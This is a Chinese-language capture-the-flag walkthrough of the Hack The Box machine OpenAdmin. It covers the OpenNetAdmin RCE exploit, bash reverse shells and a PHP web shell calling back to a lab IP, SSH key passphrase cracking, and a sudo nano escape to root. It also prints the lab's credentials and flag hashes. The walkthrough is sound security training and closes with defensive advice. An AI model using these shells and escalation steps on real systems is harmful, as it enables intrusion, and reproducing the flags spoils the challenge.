[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私钥解密+Nano权限提升
字数 1095 2025-08-20 18:18:23
OpenAdmin 渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.171 --min-rate 1000 -sC -sV
发现开放端口:
- 22/tcp - OpenSSH 7.6p1 Ubuntu
- 80/tcp - Apache httpd 2.4.29
1.2 Web目录枚举
使用Gobuster进行目录扫描:
gobuster dir -u "http://10.10.10.171/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50
发现重要目录:
/ona/- OpenNetAdmin管理界面
2. 初始访问
2.1 OpenNetAdmin漏洞利用
-
使用默认凭据登录:
- 用户名:
admin - 密码:
admin
- 用户名:
-
搜索并利用OpenNetAdmin漏洞:
searchsploit OpenNetAdmin cp /usr/share/exploitdb/exploits/php/webapps/47691.sh ./exp.sh ./exp.sh 10.10.10.171/ona/ -
获取反向shell:
/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.14/10032 0>&1'成功获取www-data权限。
2.2 数据库凭据获取
查看数据库配置文件:
cat /var/www/html/ona/local/config/database_settings.inc.php
获取凭据:
- 用户名:
ona_sys - 密码:
n1nj4W4rri0R!
3. 横向移动
3.1 获取jimmy用户权限
-
使用数据库凭据切换到jimmy用户:
su jimmy -
发现内部网站配置:
cat /etc/apache2/sites-enabled/internal.conf
3.2 获取joanna用户权限(方法1:SSH端口转发)
-
设置SSH端口转发:
ssh -i ~/.ssh/id_ed25519 jimmy@10.10.10.171 -L 52846:localhost:52846 -
创建反向shell脚本:
vi /var/www/internal/reverse.php内容:
<?php system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.14/10033 0>&1'");?> -
触发反向shell:
curl http://127.0.0.1:52846/reverse.php
3.3 获取joanna用户权限(方法2:RSA私钥解密)
-
发现加密的RSA私钥:
cat main.php curl 127.0.0.1:52846/main.php -
解密RSA私钥:
openssl rsa -in id_rsa -
准备密码字典:
grep -i ninja /usr/share/wordlists/rockyou.txt > pass.txt -
使用John the Ripper破解:
ssh2john id_rsa > ./id_rsa.john john --wordlist=./pass.txt id_rsa.john获取密码:
bloodninjas -
解密私钥:
openssl rsa -in id_rsa -out id_rsa_dec -
使用解密后的私钥登录:
ssh -i id_rsa_dec joanna@10.10.10.171
4. 权限提升
4.1 检查sudo权限
sudo -l
发现可以使用nano以root权限编辑/opt/priv文件。
4.2 利用nano提权
-
启动nano:
sudo /bin/nano /opt/priv -
在nano中执行:
- 按下
Ctrl+R然后Ctrl+X - 输入命令:
reset; sh 1>&0 2>&0
- 按下
-
获取root shell。
5. 标志获取
-
用户标志:
cat User.txt结果:
f6a493f3f0bb5732733a0f6e0eae9cf9 -
Root标志:
cat Root.txt结果:
709cb8750a646cbc3d99cedbc8d23de7
6. 关键知识点总结
- OpenNetAdmin漏洞利用:使用公开漏洞获取初始访问权限
- 配置文件泄露:查找数据库配置文件获取凭据
- 横向移动技术:
- 使用现有凭据切换用户
- SSH端口转发访问受限服务
- RSA私钥解密与利用
- 权限提升方法:
- 利用sudo权限执行nano编辑器
- 通过nano执行系统命令获取root shell
- 密码破解:使用John the Ripper破解加密的SSH私钥
7. 防御建议
- 及时更新Web应用程序补丁
- 避免使用默认凭据
- 加密配置文件并限制访问权限
- 定期审计sudo权限配置
- 使用强密码保护SSH私钥
- 限制内部服务的网络访问